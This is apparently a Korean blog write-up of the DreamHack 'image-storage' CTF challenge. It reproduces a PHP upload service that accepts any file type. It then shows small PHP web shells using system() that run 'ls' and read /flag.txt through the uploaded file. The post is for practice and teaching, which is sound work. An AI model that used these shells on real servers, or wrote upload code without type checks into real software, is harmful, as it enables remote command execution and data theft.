Notice
Recent Posts
Recent Comments
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- php
- 자바스크립트 jQuery
- 자바스크립트 element api
- 카카오프로젝트100
- GIT
- 자바스크립트 기본 문법
- 깃허브
- 자바스크립트 객체
- javascript
- 다크웹
- 오라클
- 자바스크립트 API
- numpy
- 자바스크립트 node
- 보안뉴스한줄요약
- ES6
- Oracle SQL
- 보안뉴스요약
- python
- 보안뉴스 요약
- 자바스크립트 prototype
- 보안뉴스 한줄요약
- 랜섬웨어
- 카카오프로젝트
- oracle
- 카카오프로젝트 100
- 자바스크립트
- oracle db
- 보안뉴스
- 파이썬
Archives
- Today
- Total
FU11M00N
[ DreamHack ] image-storage 본문
- 문제 정보
php로 작성된 파일 저장 서비스입니다.
파일 업로드 취약점을 이용해 플래그를 획득하세요. 플래그는 /flag.txt에 있습니다.
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
?>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Image Storage</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container">
<form enctype='multipart/form-data' method="POST">
<div class="form-group">
<label for="InputFile">파일 업로드</label>
<input type="file" id="InputFile" name="file">
</div>
<input type="submit" class="btn btn-default" value="Upload">
</form>
</div>
</body>
</html>
upload.php
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Image Storage</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container"><ul>
<?php
$directory = './uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
}
?>
</ul></div>
</body>
</html>
list.php
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Image Storage</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/>
<div class="container">
<h2>Upload and Share Image !</h2>
</div>
</body>
</html>
index.php
upload.php 페이지에 파일을 업로드할수있고 파일을 업로드하면
list.php 페이지에서 파일 업로드한것을 확인가능함.
플래그는 /flag.txt 에 있다고 문제 정보에서 알려줬으니
서버에서 flag.txt 파일을 읽으면 될것같음.
코드에서 php와같은 서버파일을 업로드하는것에 제제가 없으니 php코드를 작성해서 파일을 올린뒤
업로드한것을 확인하면 플래그를 얻을수있을것같음.
php에는 system()함수로 명령어를 사용할수있으니 짧은 코드를 작성함.
우선 system함수가 되는지 확인하기위해
<?php
system("ls");
?>
ls 명령어를 넣어보면
사진과 같이 현재 경로의 파일들을 정상적으로 출력해주나봄.
그럼 이제 flag.txt 파일을 읽기만 하면됨.
<?php
system("find / | cat /flag.txt");
?>
'Web Hacking > DreamHack' 카테고리의 다른 글
[ DreamHack ] csrf-1 (0) | 2021.03.28 |
---|---|
[ DreamHack ] proxy-1 (0) | 2021.03.28 |
[ DreamHack ] file-download-1 (0) | 2021.03.28 |
[ DreamHack ] xss-1 (0) | 2021.03.28 |
[ DreamHack ] pathtraversal (0) | 2021.03.28 |
Comments